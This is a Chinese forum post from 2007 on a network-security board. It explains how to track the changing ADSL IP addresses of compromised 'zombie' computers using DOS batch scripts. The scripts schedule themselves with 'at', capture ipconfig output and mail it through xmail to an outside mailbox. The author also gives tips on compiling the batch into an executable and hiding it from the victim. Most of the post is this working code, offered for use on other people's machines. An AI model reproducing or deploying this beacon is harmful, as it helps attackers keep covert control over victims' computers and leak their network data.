娱乐新地带论坛  

返回   娱乐新地带论坛 > 电脑技术 > 『网络家园』

『网络家园』 网络技术、网络安全、ADSL....

发表新主题 回复
 
主题工具 显示模式
旧 2007-11-30, 11:35 AM   #1
No8363
Erika
很傻很天真
级别:44 | 在线时长:2131小时 | 升级还需:74小时级别:44 | 在线时长:2131小时 | 升级还需:74小时级别:44 | 在线时长:2131小时 | 升级还需:74小时级别:44 | 在线时长:2131小时 | 升级还需:74小时级别:44 | 在线时长:2131小时 | 升级还需:74小时
 
Erika 的头像
 
注册日期: 2007-07-17
住址: 火星
帖子: 5,570
现金:9873金币
资产:21334金币
Erika 正向着好的方向发展
在dos下实现动态捕捉ip

ADSL上网越来越多。别人是拨一次号ip就变了一次。这对我们需要肉鸡的朋友可是个麻烦。一般考虑下个木马吧。可是现在别人的安全意识也提高了。3天2天杀毒软件就升级,马儿的日子也不好过哦。要怎么样能够动态的得到adsl的ip地址了?自己程序写不好,对DOS是情有独针,研究了一下,发现在DOS下也是有办法实现的。
这里首先得说一下3条DOS命令
1:FOR
可以通过这条命令从某个文本中得到某个字符段
2:PING
检测网络的连通状况
3:findstr
从某个文本中获取特定字符串

大概思路是先通过ping某个网站来并把结果保存到某个文本文件,通过for取得这个文本中的ip地址。判断这个ip地址是否正确。
批处理如下
IF EXIST ping.txt del ping.txt
if exist ip1.txt del ip1.txt
if exist ip2.txt del ip2.txt
if exist ip3.txt del ip3.txt
if exist notconn del notconn.txt
if exist conn.txt del conn.txt
ping www.ddvip.net >>ping.txt
for /f "tokens=3 delims=[ " %%i in (ping.txt) do @echo %%i >>ip1.txt
findstr /C:: ip1.txt >IP2.TXT
for /f "delims=: " %%i in (ip2.txt) do @echo %%i >ip3.txt
if not exist ip3.txt net send 127.0.0.1 "you computer noconn "
for /f "delims= " %%i in (ip3.txt) do if %%i equ 61.129.83.156 (net send 127.0.0.1 "you computer has conn ")

上面的代码只不过实现了判断是否连接到internet。有一点要说明一下,上面的代码实现的要求是要有个ping得通的网站(我这里选了http://www.ddvip.net,算是最后对豆豆做点宣传吧)。如...要把findstr /C:: ip1.txt >IP2.TXT改为findstr /C:] ip1.txt >IP2.TXT,再在最后一句for语句改一下就行了。我测试了一下。第2种办法效果不是很好。
要实现动态捕捉ip,就要使用到xmail这个工具了。把net send改为xmail smtp.21cn.com from@21cn.com to@sina.com ipconfigl.txt 再在上面加一句ipconfig >ipconfig.txt.做个计划任务,如果你还想保护到你自己的批处理(防止邮箱泄露)。你可以通过btoc编译工具把批处理做成可执行文件。这里有个小技巧。你可以把启动cmd时带上/q关闭回显。

后记:文章没有什么技术含量,也仅仅是提供一点思路。代码还有不完善的地方,主要是隐藏性不好。一直想做到在后台运行cmd,那位知道的麻烦联系我。 E-mail: zbasic@126.com
附上一段比较完善的代码:
IF EXIST ping del ping
if exist ipconfig.txt del ipconfig.txt
if exist ip1 del ip1
if exist ip2 del ip2
if exist ip3 del ip3
if exist time del time
at 12:00 /every: 1.bat
at 21:00 /every: 1.bat
ipconfig >>ipconfig.txt
ping www.ddvip.net >>ping
time /t >time
for /f "tokens= " %%i in (time) do at %%i /every: 1.bat
for /f "tokens=3 delims=[ " %%i in (ping) do @echo %%i >>ip1
findstr /C:: ip1 >IP2
for /f "delims=: " %%i in (ip2) do @echo %%i >ip3
if not exist ip3 exit
for /f "delims= " %%i in (ip3) do if %%i equ 61.129.83.156 (xmail smtp.21cn.com from@21cn.com to@sina.com ipconfig.txt)
Erika 当前离线  
回复时引用此帖
发表新主题 回复

书签


发帖规则
不可以发表新主题
不可以发表回复
不可以上传附件
不可以编辑自己的帖子

启用 BB 代码
论坛启用 表情符号
论坛启用 [IMG] 代码
论坛禁用 HTML 代码

论坛跳转


所有时间均为北京时间。现在的时间是 03:30 PM


©2003-2024 1819.net All rights reserved.